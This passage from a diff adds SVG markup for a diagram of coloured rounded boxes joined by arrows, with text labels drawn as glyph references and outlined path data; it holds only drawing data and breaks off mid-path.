+  <use xlink:href="#glyph0-2" x="190.036458" y="162.00217"/>
+  <use xlink:href="#glyph0-3" x="198.925347" y="162.00217"/>
+  <use xlink:href="#glyph0-4" x="204.480903" y="162.00217"/>
+  <use xlink:href="#glyph0-5" x="217.814236" y="162.00217"/>
+  <use xlink:href="#glyph0-6" x="222.258681" y="162.00217"/>
+  <use xlink:href="#glyph0-7" x="231.147569" y="162.00217"/>
+  <use xlink:href="#glyph0-8" x="239.203125" y="162.00217"/>
+  <use xlink:href="#glyph0-7" x="244.758681" y="162.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,87.058824%,78.039217%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 19 C 1.134375 19 1 19.134375 1 19.3 L 1 20.7 C 1 20.865625 1.134375 21 1.3 21 L 9.7 21 C 9.865625 21 10 20.865625 10 20.7 L 10 19.3 C 10 19.134375 9.865625 19 9.7 19 Z M 1.3 19 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="181.566406" y="282.00217"/>
+  <use xlink:href="#glyph0-10" x="191.010851" y="282.00217"/>
+  <use xlink:href="#glyph0-11" x="195.455295" y="282.00217"/>
+  <use xlink:href="#glyph0-12" x="203.788628" y="282.00217"/>
+  <use xlink:href="#glyph0-5" x="215.455295" y="282.00217"/>
+  <use xlink:href="#glyph0-6" x="219.89974" y="282.00217"/>
+  <use xlink:href="#glyph0-7" x="228.788628" y="282.00217"/>
+  <use xlink:href="#glyph0-8" x="236.844184" y="282.00217"/>
+  <use xlink:href="#glyph0-7" x="242.39974" y="282.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 1.3 7 C 1.134375 7 1 7.134375 1 7.3 L 1 8.7 C 1 8.865625 1.134375 9 1.3 9 L 9.7 9 C 9.865625 9 10 8.865625 10 8.7 L 10 7.3 C 10 7.134375 9.865625 7 9.7 7 Z M 1.3 7 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-13" x="176.566406" y="42.00217"/>
+  <use xlink:href="#glyph0-2" x="189.621962" y="42.00217"/>
+  <use xlink:href="#glyph0-6" x="198.510851" y="42.00217"/>
+  <use xlink:href="#glyph0-11" x="207.39974" y="42.00217"/>
+  <use xlink:href="#glyph0-14" x="215.733073" y="42.00217"/>
+  <use xlink:href="#glyph0-5" x="220.455295" y="42.00217"/>
+  <use xlink:href="#glyph0-6" x="224.89974" y="42.00217"/>
+  <use xlink:href="#glyph0-7" x="233.788628" y="42.00217"/>
+  <use xlink:href="#glyph0-8" x="241.844184" y="42.00217"/>
+  <use xlink:href="#glyph0-7" x="247.39974" y="42.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 9 L 3.25 12.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 12.45 L 3.25 12.95 L 3.5 12.45 Z M 3 12.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.25 15 L 3.25 18.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3 18.45 L 3.25 18.95 L 3.5 18.45 Z M 3 18.45 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 19 L 7.75 15.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 15.55 L 7.75 15.05 L 7.5 15.55 Z M 8 15.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.75 13 L 7.75 9.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8 9.55 L 7.75 9.05 L 7.5 9.55 Z M 8 9.55 " transform="matrix(20,0,0,20,106,-126)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="93.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="98.782118" y="101.525608"/>
+  <use xlink:href="#glyph0-7" x="104.337674" y="101.525608"/>
+  <use xlink:href="#glyph0-15" x="112.393229" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="121.282118" y="101.525608"/>
+  <use xlink:href="#glyph0-17" x="128.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-2" x="133.226562" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="142.115451" y="101.525608"/>
+  <use xlink:href="#glyph0-4" x="147.671007" y="101.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-3" x="271" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="276.555556" y="101.525608"/>
+  <use xlink:href="#glyph0-18" x="284.611111" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="292.388889" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="300.722222" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="306.277778" y="101.525608"/>
+  <use xlink:href="#glyph0-11" x="313.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-19" x="321.555556" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="328.777778" y="101.525608"/>
+  <use xlink:href="#glyph0-7" x="334.333333" y="101.525608"/>
+  <use xlink:href="#glyph0-15" x="342.388889" y="101.525608"/>
+  <use xlink:href="#glyph0-16" x="351.277778" y="101.525608"/>
+  <use xlink:href="#glyph0-17" x="358.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-2" x="363.222222" y="101.525608"/>
+  <use xlink:href="#glyph0-3" x="372.111111" y="101.525608"/>
+  <use xlink:href="#glyph0-4" x="377.666667" y="101.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-8" x="93.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="98.782118" y="221.525608"/>
+  <use xlink:href="#glyph0-7" x="104.337674" y="221.525608"/>
+  <use xlink:href="#glyph0-15" x="112.393229" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="121.282118" y="221.525608"/>
+  <use xlink:href="#glyph0-17" x="128.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-2" x="133.226562" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="142.115451" y="221.525608"/>
+  <use xlink:href="#glyph0-4" x="147.671007" y="221.525608"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-3" x="271" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="276.555556" y="221.525608"/>
+  <use xlink:href="#glyph0-18" x="284.611111" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="292.388889" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="300.722222" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="306.277778" y="221.525608"/>
+  <use xlink:href="#glyph0-11" x="313.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-19" x="321.555556" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="328.777778" y="221.525608"/>
+  <use xlink:href="#glyph0-7" x="334.333333" y="221.525608"/>
+  <use xlink:href="#glyph0-15" x="342.388889" y="221.525608"/>
+  <use xlink:href="#glyph0-16" x="351.277778" y="221.525608"/>
+  <use xlink:href="#glyph0-17" x="358.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-2" x="363.222222" y="221.525608"/>
+  <use xlink:href="#glyph0-3" x="372.111111" y="221.525608"/>
+  <use xlink:href="#glyph0-4" x="377.666667" y="221.525608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.697461 19.141992 L -3.697461 15.932031 L -4.5 15.932031 L -2.894922 14.326953 L -1.289844 15.932031 L -2.092383 15.932031 L -2.092383 19.141992 L -1.289844 19.141992 L -2.894922 20.74707 L -4.5 19.141992 Z M -3.697461 19.141992 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 47.609375 182.761719 L 46.0625 183.027344 L 46.0625 183.058594 L 47.640625 183.351562 L 54.566406 185.316406 L 54.566406 186.484375 L 44.171875 183.277344 L 44.171875 182.671875 L 54.566406 179.425781 L 54.566406 180.679688 M 51.730469 187.148438 L 51.730469 188.226562 L 44.171875 188.226562 L 44.171875 187.148438 M 53.589844 186.941406 C 53.875 186.941406 54.109375 187.007812 54.285156 187.148438 C 54.46875 187.285156 54.566406 187.460938 54.566406 187.679688 C 54.566406 187.902344 54.476562 188.09375 54.300781 188.238281 C 54.128906 188.386719 53.894531 188.460938 53.589844 188.460938 C 53.304688 188.460938 53.078125 188.386719 52.914062 188.238281 C 52.753906 188.09375 52.675781 187.902344 52.675781 187.679688 C 52.675781 187.460938 52.757812 187.285156 52.925781 187.148438 C 53.09375 187.007812 53.316406 186.941406 53.589844 186.941406 M 44.835938 194.324219 C 44.628906 194.078125 44.464844 193.765625 44.347656 193.394531 C 44.230469 193.027344 44.171875 192.640625 44.171875 192.226562 C 44.171875 191.742188 44.257812 191.328125 44.4375 190.988281 C 44.613281 190.640625 44.867188 190.355469 45.203125 190.128906 C 45.535156 189.902344 45.933594 189.734375 46.386719 189.628906 C 46.847656 189.515625 47.367188 189.464844 47.949219 189.464844 C 49.179688 189.464844 50.113281 189.703125 50.757812 190.175781 C 51.40625 190.648438 51.730469 191.316406 51.730469 192.183594 C 51.730469 192.464844 51.695312 192.746094 51.628906 193.023438 C 51.570312 193.296875 51.4375 193.542969 51.242188 193.761719 C 51.042969 193.988281 50.769531 194.167969 50.417969 194.308594 C 50.0625 194.445312 49.597656 194.515625 49.027344 194.515625 C 48.871094 194.515625 48.695312 194.503906 48.511719 194.484375 C 48.335938 194.476562 48.148438 194.460938 47.949219 194.441406 L 47.949219 190.601562 C 47.515625 190.601562 47.125 190.636719 46.769531 190.707031 C 46.421875 190.773438 46.128906 190.882812 45.882812 191.03125 C 45.636719 191.1875 45.445312 191.386719 45.308594 191.621094 C 45.179688 191.859375 45.117188 192.152344 45.117188 192.507812 C 45.117188 192.78125 45.160156 193.054688 45.25 193.320312 C 45.34375 193.585938 45.464844 193.785156 45.601562 193.925781 M 48.894531 193.46875 C 49.546875 193.484375 50.023438 193.378906 50.328125 193.140625 C 50.632812 192.914062 50.785156 192.601562 50.785156 192.195312 C 50.785156 191.730469 50.632812 191.363281 50.328125 191.089844 C 50.023438 190.824219 49.546875 190.664062 48.894531 190.617188 M 51.730469 199.507812 L 47.40625 200.851562 L 45.988281 201.117188 L 45.988281 201.144531 L 47.433594 201.382812 L 51.730469 202.398438 L 51.730469 203.433594 L 44.171875 201.425781 L 44.171875 200.804688 L 49.027344 199.269531 L 50.269531 199.0625 L 50.269531 199.035156 L 49.015625 198.828125 L 44.171875 197.335938 L 44.171875 196.714844 L 51.730469 194.648438 L 51.730469 195.816406 L 47.417969 196.980469 L 45.988281 197.160156 L 45.988281 197.1875 L 47.449219 197.46875 L 51.730469 198.707031 M 53.621094 212.457031 L 53.621094 209.855469 L 44.171875 209.855469 L 44.171875 208.71875 L 53.621094 208.71875 L 53.621094 206.121094 L 54.566406 206.121094 L 54.566406 212.457031 M 51.730469 212.46875 L 51.730469 213.253906 L 50.816406 213.445312 L 50.816406 213.488281 C 51.101562 213.625 51.320312 213.808594 51.480469 214.035156 C 51.644531 214.261719 51.730469 214.539062 51.730469 214.863281 C 51.730469 215.085938 51.691406 215.351562 51.613281 215.644531 L 50.652344 215.4375 C 50.742188 215.171875 50.785156 214.941406 50.785156 214.746094 C 50.785156 214.417969 50.691406 214.152344 50.503906 213.945312 C 50.316406 213.746094 50.066406 213.621094 49.753906 213.5625 L 44.171875 213.5625 L 44.171875 212.46875 M 51.167969 216.175781 C 51.347656 216.472656 51.484375 216.828125 51.582031 217.238281 C 51.679688 217.660156 51.730469 218.105469 51.730469 218.570312 C 51.730469 218.988281 51.664062 219.328125 51.539062 219.585938 C 51.421875 219.84375 51.25 220.046875 51.035156 220.191406 C 50.832031 220.339844 50.585938 220.433594 50.3125 220.472656 C 50.046875 220.519531 49.757812 220.546875 49.457031 220.546875 C 48.867188 220.546875 48.289062 220.53125 47.730469 220.503906 C 47.167969 220.480469 46.636719 220.472656 46.132812 220.472656 C 45.75 220.472656 45.394531 220.480469 45.070312 220.503906 C 44.753906 220.53125 44.457031 220.582031 44.171875 220.652344 L 44.171875 219.824219 L 45.117188 219.574219 L 45.117188 219.511719 C 44.859375 219.367188 44.636719 219.144531 44.453125 218.847656 C 44.261719 218.554688 44.171875 218.160156 44.171875 217.667969 C 44.171875 217.125 44.371094 216.679688 44.777344 216.324219 C 45.179688 215.976562 45.734375 215.808594 46.445312 215.808594 C 46.90625 215.808594 47.289062 215.882812 47.597656 216.027344 C 47.910156 216.175781 48.164062 216.382812 48.363281 216.648438 C 48.558594 216.914062 48.695312 217.230469 48.777344 217.59375 C 48.855469 217.96875 48.894531 218.378906 48.894531 218.835938 C 48.894531 218.929688 48.894531 219.03125 48.894531 219.128906 C 48.894531 219.238281 48.886719 219.34375 48.882812 219.453125 C 49.125 219.484375 49.347656 219.5 49.546875 219.5 C 49.996094 219.5 50.316406 219.410156 50.503906 219.234375 C 50.691406 219.0625 50.785156 218.753906 50.785156 218.304688 C 50.785156 218.015625 50.742188 217.703125 50.652344 217.371094 C 50.570312 217.035156 50.46875 216.761719 50.34375 216.546875 M 47.921875 219.46875 C 47.929688 219.371094 47.9375 219.265625 47.9375 219.160156 C 47.945312 219.058594 47.949219 218.960938 47.949219 218.863281 C 47.949219 218.617188 47.925781 218.375 47.878906 218.140625 C 47.835938 217.910156 47.761719 217.703125 47.65625 217.519531 C 47.542969 217.34375 47.398438 217.199219 47.210938 217.09375 C 47.023438 216.980469 46.789062 216.929688 46.503906 216.929688 C 46.0625 216.929688 45.714844 217.027344 45.46875 217.226562 C 45.234375 217.421875 45.117188 217.675781 45.117188 217.992188 C 45.117188 218.414062 45.222656 218.746094 45.441406 218.980469 C 45.65625 219.21875 45.898438 219.378906 46.164062 219.46875 M 44.171875 225.804688 L 48.6875 225.804688 C 49.425781 225.804688 49.960938 225.714844 50.285156 225.539062 C 50.617188 225.359375 50.785156 225.042969 50.785156 224.59375 C 50.785156 224.1875 50.667969 223.855469 50.429688 223.589844 C 50.195312 223.324219 49.902344 223.132812 49.558594 223.011719 L 44.171875 223.011719 L 44.171875 221.921875 L 51.730469 221.921875 L 51.730469 222.71875 L 50.769531 222.910156 L 50.769531 222.953125 C 51.035156 223.148438 51.261719 223.410156 51.449219 223.738281 C 51.636719 224.0625 51.730469 224.449219 51.730469 224.902344 C 51.730469 225.226562 51.6875 225.511719 51.597656 225.757812 C 51.507812 226.003906 51.355469 226.210938 51.140625 226.378906 C 50.933594 226.546875 50.652344 226.667969 50.296875 226.75 C 49.945312 226.835938 49.492188 226.882812 48.953125 226.882812 L 44.171875 226.882812 M 45.53125 228.433594 C 45.410156 228.628906 45.3125 228.863281 45.234375 229.140625 C 45.152344 229.414062 45.117188 229.703125 45.117188 229.996094 C 45.117188 230.328125 45.195312 230.609375 45.351562 230.839844 C 45.519531 231.074219 45.785156 231.191406 46.148438 231.191406 C 46.453125 231.191406 46.703125 231.121094 46.902344 230.972656 C 47.097656 230.832031 47.273438 230.652344 47.433594 230.441406 C 47.589844 230.222656 47.734375 229.984375 47.863281 229.730469 C 47.988281 229.484375 48.144531 229.25 48.320312 229.039062 C 48.496094 228.820312 48.707031 228.640625 48.953125 228.492188 C 49.199219 228.351562 49.515625 228.285156 49.898438 228.285156 C 50.496094 228.285156 50.953125 228.453125 51.257812 228.800781 C 51.570312 229.15625 51.730469 229.648438 51.730469 230.277344 C 51.730469 230.691406 51.691406 231.046875 51.613281 231.339844 C 51.542969 231.644531 51.449219 231.910156 51.332031 232.136719 L 50.460938 231.859375 C 50.558594 231.660156 50.636719 231.433594 50.699219 231.179688 C 50.757812 230.929688 50.785156 230.679688 50.785156 230.425781 C 50.785156 230.058594 50.710938 229.792969 50.5625 229.628906 C 50.425781 229.457031 50.203125 229.378906 49.898438 229.378906 C 49.652344 229.378906 49.445312 229.445312 49.28125 229.582031 C 49.109375 229.730469 48.957031 229.910156 48.820312 230.117188 C 48.683594 230.328125 48.542969 230.566406 48.394531 230.824219 C 48.253906 231.078125 48.085938 231.3125 47.890625 231.519531 C 47.691406 231.730469 47.457031 231.910156 47.183594 232.050781 C 46.90625 232.199219 46.5625 232.269531 46.148438 232.269531 C 45.882812 232.269531 45.625 232.226562 45.382812 232.136719 C 45.144531 232.050781 44.9375 231.910156 44.761719 231.726562 C 44.585938 231.535156 44.441406 231.304688 44.332031 231.03125 C 44.222656 230.753906 44.171875 230.429688 44.171875 230.054688 C 44.171875 229.613281 44.207031 229.230469 44.289062 228.90625 C 44.378906 228.578125 44.484375 228.304688 44.613281 228.09375 M 51.730469 232.609375 L 51.730469 233.539062 L 52.113281 233.539062 C 52.980469 233.539062 53.605469 233.675781 53.988281 233.941406 C 54.375 234.210938 54.566406 234.679688 54.566406 235.34375 C 54.566406 235.597656 54.550781 235.828125 54.523438 236.035156 C 54.492188 236.25 54.425781 236.472656 54.328125 236.699219 L 53.429688 236.433594 C 53.507812 236.246094 53.554688 236.074219 53.578125 235.917969 C 53.605469 235.769531 53.621094 235.621094 53.621094 235.476562 C 53.621094 235.277344 53.582031 235.121094 53.503906 235.003906 C 53.433594 234.890625 53.324219 234.8125 53.179688 234.75 C 53.03125 234.699219 52.832031 234.667969 52.585938 234.648438 C 52.351562 234.636719 52.0625 234.632812 51.730469 234.632812 L 51.730469 236.199219 L 50.785156 236.199219 L 50.785156 234.632812 L 44.171875 234.632812 L 44.171875 233.539062 L 50.785156 233.539062 L 50.785156 232.609375 M 47.949219 236.714844 C 49.25 236.714844 50.203125 236.945312 50.816406 237.410156 C 51.425781 237.882812 51.730469 238.550781 51.730469 239.417969 C 51.730469 240.339844 51.414062 241.019531 50.785156 241.457031 C 50.164062 241.898438 49.222656 242.121094 47.949219 242.121094 C 46.640625 242.121094 45.679688 241.882812 45.070312 241.410156 C 44.46875 240.9375 44.171875 240.273438 44.171875 239.417969 C 44.171875 238.492188 44.480469 237.808594 45.101562 237.367188 C 45.730469 236.929688 46.679688 236.714844 47.949219 236.714844 M 47.949219 237.851562 C 47.527344 237.851562 47.140625 237.875 46.800781 237.925781 C 46.453125 237.984375 46.152344 238.078125 45.898438 238.207031 C 45.652344 238.332031 45.460938 238.496094 45.324219 238.695312 C 45.183594 238.902344 45.117188 239.140625 45.117188 239.417969 C 45.117188 239.949219 45.335938 240.339844 45.78125 240.597656 C 46.230469 240.863281 46.953125 240.996094 47.949219 240.996094 C 48.363281 240.996094 48.742188 240.96875 49.085938 240.910156 C 49.441406 240.855469 49.742188 240.769531 49.988281 240.644531 C 50.242188 240.515625 50.4375 240.347656 50.578125 240.140625 C 50.714844 239.941406 50.785156 239.703125 50.785156 239.417969 C 50.785156 238.90625 50.558594 238.515625 50.105469 238.25 C 49.652344 237.984375 48.933594 237.851562 47.949219 237.851562 M 51.730469 243.65625 L 51.730469 244.4375 L 50.816406 244.628906 L 50.816406 244.675781 C 51.101562 244.8125 51.320312 244.992188 51.480469 245.21875 C 51.644531 245.445312 51.730469 245.722656 51.730469 246.046875 C 51.730469 246.273438 51.691406 246.535156 51.613281 246.828125 L 50.652344 246.625 C 50.742188 246.359375 50.785156 246.125 50.785156 245.929688 C 50.785156 245.605469 50.691406 245.339844 50.503906 245.132812 C 50.316406 244.933594 50.066406 244.808594 49.753906 244.75 L 44.171875 244.75 L 44.171875 243.65625 M 44.171875 250.980469 L 48.570312 250.980469 C 48.960938 250.980469 49.296875 250.964844 49.574219 250.933594 C 49.859375 250.914062 50.09375 250.859375 50.269531 250.773438 C 50.445312 250.691406 50.570312 250.585938 50.652344 250.449219 C 50.742188 250.308594 50.785156 250.121094 50.785156 249.886719 C 50.785156 249.539062 50.652344 249.25 50.386719 249.015625 C 50.128906 248.777344 49.832031 248.617188 49.5 248.527344 L 44.171875 248.527344 L 44.171875 247.433594 L 51.730469 247.433594 L 51.730469 248.21875 L 50.769531 248.410156 L 50.769531 248.453125 C 51.054688 248.667969 51.289062 248.917969 51.464844 249.207031 C 51.640625 249.503906 51.730469 249.875 51.730469 250.328125 C 51.730469 250.714844 51.644531 251.027344 51.480469 251.273438 C 51.320312 251.519531 51.035156 251.710938 50.625 251.851562 C 50.964844 252.027344 51.234375 252.28125 51.4375 252.617188 C 51.632812 252.960938 51.730469 253.335938 51.730469 253.742188 C 51.730469 254.074219 51.6875 254.359375 51.597656 254.597656 C 51.515625 254.832031 51.367188 255.023438 51.15625 255.171875 C 50.949219 255.320312 50.667969 255.425781 50.3125 255.496094 C 49.964844 255.5625 49.53125 255.601562 49 255.601562 L 44.171875 255.601562 L 44.171875 254.523438 L 48.882812 254.523438 C 49.519531 254.523438 49.996094 254.457031 50.3125 254.332031 C 50.628906 254.203125 50.785156 253.910156 50.785156 253.460938 C 50.785156 253.074219 50.667969 252.769531 50.429688 252.542969 C 50.203125 252.316406 49.894531 252.160156 49.5 252.070312 L 44.171875 252.070312 M 44.835938 261.417969 C 44.628906 261.171875 44.464844 260.859375 44.347656 260.488281 C 44.230469 260.121094 44.171875 259.734375 44.171875 259.320312 C 44.171875 258.839844 44.257812 258.425781 44.4375 258.082031 C 44.613281 257.734375 44.867188 257.449219 45.203125 257.226562 C 45.535156 256.996094 45.933594 256.828125 46.386719 256.722656 C 46.847656 256.613281 47.367188 256.5625 47.949219 256.5625 C 49.179688 256.5625 50.113281 256.796875 50.757812 257.269531 C 51.40625 257.742188 51.730469 258.410156 51.730469 259.277344 C 51.730469 259.5625 51.695312 259.84375 51.628906 260.117188 C 51.570312 260.390625 51.4375 260.640625 51.242188 260.855469 C 51.042969 261.082031 50.769531 261.261719 50.417969 261.402344 C 50.0625 261.539062 49.597656 261.609375 49.027344 261.609375 C 48.871094 261.609375 48.695312 261.597656 48.511719 261.582031 C 48.335938 261.570312 48.148438 261.554688 47.949219 261.535156 L 47.949219 257.699219 C 47.515625 257.699219 47.125 257.730469 46.769531 257.800781 C 46.421875 257.867188 46.128906 257.976562 45.882812 258.125 C 45.636719 258.28125 45.445312 258.480469 45.308594 258.714844 C 45.179688 258.953125 45.117188 259.246094 45.117188 259.601562 C 45.117188 259.875 45.160156 260.148438 45.25 260.414062 C 45.34375 260.679688 45.464844 260.878906 45.601562 261.019531 M 48.894531 260.5625 C 49.546875 260.582031 50.023438 260.472656 50.328125 260.238281 C 50.632812 260.007812 50.785156 259.695312 50.785156 259.292969 C 50.785156 258.828125 50.632812 258.457031 50.328125 258.183594 C 50.023438 257.917969 49.546875 257.761719 48.894531 257.710938 M 51.730469 263.5 L 51.730469 264.28125 L 50.816406 264.476562 L 50.816406 264.519531 C 51.101562 264.65625 51.320312 264.835938 51.480469 265.066406 C 51.644531 265.289062 51.730469 265.566406 51.730469 265.890625 C 51.730469 266.117188 51.691406 266.378906 51.613281 266.675781 L 50.652344 266.46875 C 50.742188 266.203125 50.785156 265.96875 50.785156 265.773438 C 50.785156 265.449219 50.691406 265.183594 50.503906 264.976562 C 50.316406 264.777344 50.066406 264.652344 49.753906 264.59375 L 44.171875 264.59375 L 44.171875 263.5 Z M 51.730469 263.5 "/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.716602 12.183398 L -3.716602 8.896289 L -4.538477 8.896289 L -2.894922 7.25293 L -1.251367 8.896289 L -2.073242 8.896289 L -2.073242 12.183398 L -1.251367 12.183398 L -2.894922 13.826953 L -4.538477 12.183398 Z M -3.716602 12.183398 " transform="matrix(20,0,0,20,106,-126)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 51 42.335938 L 52.558594 42.464844 L 52.558594 42.40625 L 51.203125 41.925781 L 47.066406 39.828125 L 47.066406 39.449219 L 51.203125 37.238281 L 52.558594 36.785156 L 52.558594 36.726562 L 51 36.929688 L 44.273438 36.929688 L 44.273438 35.867188 L 54.527344 35.867188 L 54.527344 36.800781 L 49.75 39.320312 L 48.613281 39.699219 L 48.613281 39.726562 L 49.761719 40.09375 L 54.527344 42.464844 L 54.527344 43.457031 L 44.273438 43.457031 L 44.273438 42.335938 M 48 44.78125 C 49.28125 44.78125 50.222656 45.007812 50.828125 45.464844 C 51.425781 45.933594 51.730469 46.59375 51.730469 47.449219 C 51.730469 48.359375 51.417969 49.027344 50.796875 49.457031 C 50.183594 49.894531 49.253906 50.113281 48 50.113281 C 46.707031 50.113281 45.761719 49.878906 45.160156 49.414062 C 44.566406 48.949219 44.273438 48.292969 44.273438 47.449219 C 44.273438 46.535156 44.578125 45.859375 45.1875 45.421875 C 45.808594 44.992188 46.746094 44.78125 48 44.78125 M 48 45.902344 C 47.582031 45.902344 47.203125 45.925781 46.863281 45.976562 C 46.523438 46.035156 46.226562 46.125 45.976562 46.253906 C 45.730469 46.378906 45.542969 46.539062 45.40625 46.734375 C 45.269531 46.9375 45.203125 47.175781 45.203125 47.449219 C 45.203125 47.972656 45.421875 48.359375 45.859375 48.613281 C 46.304688 48.875 47.015625 49.007812 48 49.007812 C 48.410156 49.007812 48.78125 48.976562 49.121094 48.917969 C 49.472656 48.867188 49.765625 48.78125 50.011719 48.65625 C 50.261719 48.527344 50.453125 48.367188 50.59375 48.160156 C 50.726562 47.964844 50.796875 47.726562 50.796875 47.449219 C 50.796875 46.941406 50.570312 46.558594 50.128906 46.296875 C 49.679688 46.035156 48.96875 45.902344 48 45.902344 M 46.804688 56.332031 C 46.3125 56.332031 45.859375 56.335938 45.453125 56.347656 C 45.050781 56.355469 44.65625 56.390625 44.273438 56.449219 L 44.273438 55.722656 L 45.277344 55.488281 L 45.277344 55.429688 C 44.984375 55.292969 44.742188 55.074219 44.546875 54.773438 C 44.363281 54.472656 44.273438 54.113281 44.273438 53.695312 C 44.273438 52.886719 44.570312 52.289062 45.175781 51.890625 C 45.777344 51.5 46.71875 51.308594 48 51.308594 C 49.222656 51.308594 50.148438 51.542969 50.78125 52.019531 C 51.414062 52.503906 51.730469 53.171875 51.730469 54.015625 C 51.730469 54.308594 51.707031 54.535156 51.671875 54.703125 C 51.640625 54.875 51.585938 55.058594 51.511719 55.253906 L 54.527344 55.253906 L 54.527344 56.332031 M 50.460938 55.253906 C 50.578125 55.117188 50.660156 54.964844 50.710938 54.789062 C 50.769531 54.613281 50.796875 54.382812 50.796875 54.089844 C 50.796875 53.566406 50.566406 53.15625 50.113281 52.867188 C 49.652344 52.574219 48.949219 52.429688 48 52.429688 C 47.570312 52.429688 47.1875 52.449219 46.851562 52.503906 C 46.519531 52.558594 46.226562 52.648438 45.976562 52.765625 C 45.722656 52.878906 45.527344 53.027344 45.394531 53.199219 C 45.265625 53.382812 45.203125 53.613281 45.203125 53.886719 C 45.203125 54.601562 45.605469 55.058594 46.414062 55.253906 M 44.925781 62.625 C 44.722656 62.382812 44.5625 62.074219 44.445312 61.707031 C 44.328125 61.347656 44.273438 60.964844 44.273438 60.558594 C 44.273438 60.078125 44.359375 59.671875 44.535156 59.332031 C 44.707031 58.992188 44.960938 58.710938 45.292969 58.488281 C 45.617188 58.261719 46.007812 58.097656 46.457031 57.992188 C 46.910156 57.882812 47.425781 57.832031 48 57.832031 C 49.214844 57.832031 50.132812 58.066406 50.769531 58.53125 C 51.410156 59 51.730469 59.65625 51.730469 60.511719 C 51.730469 60.792969 51.691406 61.070312 51.628906 61.34375 C 51.570312 61.613281 51.441406 61.855469 51.25 62.070312 C 51.050781 62.292969 50.78125 